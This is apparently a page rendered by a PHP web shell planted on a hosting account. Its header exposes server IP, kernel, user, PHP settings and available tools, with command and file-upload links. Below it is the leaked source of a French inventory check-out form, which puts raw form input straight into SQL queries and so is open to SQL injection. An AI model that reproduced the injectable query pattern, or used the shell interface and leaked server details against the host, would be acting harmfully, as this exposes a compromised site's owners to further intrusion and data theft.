|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/www/../../MCPRO/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'config.php';
include_once 'code/init.php';
$no=1;
$message = false;
//where status ='pending'
$select = "SELECT * FROM client where client_actif = '0' order by client_nom";
$client = mysqli_query($conn,$select);
$select = "SELECT * FROM produits";
$produit = mysqli_query($conn,$select);
if(isset($_POST["submit"])){
$products = array();
$quantity = "";
$date_arr = explode("-",$_POST["date"]);
$date = $date_arr[0]."".$date_arr[1]."".$date_arr[2];
$reference = $_POST["reference"];
$client = $_POST["client"];
foreach ($_POST["product"] as $key => $value) {
$products[$key]["item"] = $_POST["product"][$key];
$products[$key]["quantity"] = $_POST["quantity"][$key];
}
$note = $_POST["note"];
$local = $_POST["local-storage"];
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
$query = "INSERT INTO `check_out`(`date`, `reference`, `client`, `note` , `local`) VALUES ('$date','$reference','$client','$note','$local')";
if(mysqli_query($conn,$query)){
$query = "SELECT * FROM check_out WHERE date='$date' && reference='$reference' && client='$client' && note='$note'";
$resu = mysqli_query($conn,$query);
$fetch_row = mysqli_fetch_row($resu);
$new_id = $fetch_row[0];
foreach ($products as $key => $value) {
$prod = $products[$key]["item"];
$quan = $products[$key]["quantity"];
$query = "INSERT INTO `check_out_produit`(`check_out_id`, `product_Id`, `quantity`) VALUES ('$new_id','$prod','$quan')";
mysqli_query($conn,$query);
}
}
header("location: check_out.php");
}
?>
<!DOCTYPE html>
<html>
<head>
<?php require_once 'header.php'; ?>
<script type="text/javascript" src="plugins/selectize/selectize.js"></script>
<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.css" />
<script type="text/javascript" src="plugins/selectize/selectize.min.js"></script>
<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.default.css" />
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">
<header class="main-header">
<!-- Logo -->
<!-- <a href="../index.php" class="logo">
<span class="logo-mini"><b>A</b>LT</span>
<span class="logo-lg"><b>Admin</b></span>
</a> -->
<nav class="navbar navbar-static-top">
<!-- <a href="#" class="sidebar-toggle" data-toggle="offcanvas" role="button">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a> -->
<div class="navbar-custom-menu">
<ul class="nav navbar-nav">
<li class="dropdown user user-menu">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<span class="hidden-xs"> <?php// echo "User"; ?></span>
</a>
</li>
</ul>
</div>
</nav>
</header>
<!-- <aside class="main-sidebar"> -->
<?php //require_once 'sidebar.php'; ?>
<!-- /.sidebar -->
<!-- </aside>
-->
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1>
<small></small>
</h1>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<!-- left column -->
<div class="col-md-12">
<!-- general form elements -->
<div class="box box-primary">
<?php if($message){ ?>
<div class="alert alert-success">
<a class="close" data-dismiss="alert" href="#">×</a>Record Inserted Successfully!
</div>
<?php } ?>
<div class="box-header with-border">
<h3 class="box-title"></h3>
</div>
<!-- /.box-header -->
<!-- form start -->
<form role="form" id="add" name="add" method="post" enctype="multipart/form-data" action="<?php $_SERVER['PHP_SELF']; ?>">
<div class="box-body">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="Date">Date</label>
<input type="date" class="form-control" id="date" placeholder="Enter title" name="date" required>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="Reference">Référence</label>
<input type="text" class="form-control" id="reference" placeholder="Entrer référence" name="reference" >
</div>
</div>
</div>
<?
$loc = dbi_query("SELECT * FROM `Lieu_de_stockage`") ;
?>
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="local">stock </label>
<select class="form-control" id="local-storage" name="local-storage">
<option value="null">livraison depuis</option>
<?php
while($localo = dbi_fetch_row($loc)) {
?>
<option value="<?php echo $localo['lieu_de_stockage_nom'] ?>"><?php echo $localo['lieu_de_stockage_nom'] ?></option>
<?
}
?>
</select>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="client">Client</label>
<select class="form-control js-example-basic-single" id="client" name="client">
<option value="null">Selectionner Client</option>
<?php
while ($row = mysqli_fetch_array($client)) {
echo "<option value='".$row["client_id"]."'>".$row["client_nom"]."</option>";
}
?>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="form-group">
<label for="add-item">Ajouter Produit</label>
<select onchange="selectChange()" class="form-control js-example-basic-single" id="product" placeholder="Add Item" name="product" required>
<option value="null">Selectionner Produit</option>
<?php
while ($row = mysqli_fetch_array($produit)) {
echo "<option value='".$row["Produit_ID"]."'>".$row["Produit_Designation"]."</option>";
}
?>
</select>
</div>
<table id="myTable" class="table order-list table-bordered table-striped">
<thead>
<tr>
<td>Description</td>
<td>Quantité</td>
<td><i class="fa fa-trash"></i></td>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
</tr>
</tfoot>
</table>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="form-group">
<label for="note">Note</label>
<textarea id="note" name="note"></textarea>
</div>
</div>
</div>
<div class="box-footer">
<button type="submit" class="btn btn-primary" name="submit">Ajouter </button>
</div>
</form>
</div>
<!-- /.box -->
</div>
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<strong><!--Copyright © 2019 .--></strong> <!--All rights
reserved.-->
</footer>
</div>
<!-- ./wrapper -->
<script src="plugins/select2/select2.min.js"></script>
<!-- page script -->
<script>
// In your Javascript (external .js resource or <script> tag)
$(document).ready(function() {
$('.js-example-basic-single').select2();
});
$(function () {
$("#tables").DataTable();
$('#example').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": false,
"info": true,
"autoWidth": false
});
});
// $("#product").change( function() {
// alert($("#product").val());
// });
$(document).ready(function () {
var counter = 0;
$("#product").on("change", function (e) {
var id = $("#product").val()
var name = $('#product').find(":selected").text();
var newRow = $("<tr>");
var cols = "";
cols += '<td><input type="hidden" class="form-control" value="'+id+'"" readonly name="product[]' + counter + '"/><p>'+name+'</p></td>';
cols += '<td><input type="number" class="form-control" value="1" name="quantity[]' + counter + '"/></td>';
cols += '<td><span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel" class="ibtnDel fa fa-trash"></i></span></td>';
newRow.append(cols);
$("table.order-list").append(newRow);
counter++;
$("#product").select2("close");
});
$("table.order-list").on("click", ".ibtnDel", function (event) {
$(this).closest("tr").remove();
counter -= 1
});
});
function calculateRow(row) {
var price = +row.find('input[name^="price"]').val();
}
function calculateGrandTotal() {
var grandTotal = 0;
$("table.order-list").find('input[name^="price"]').each(function () {
grandTotal += +$(this).val();
});
$("#grandtotal").text(grandTotal.toFixed(2));
}
//$('#product').selectize('option');
</script>
</body>
</html>
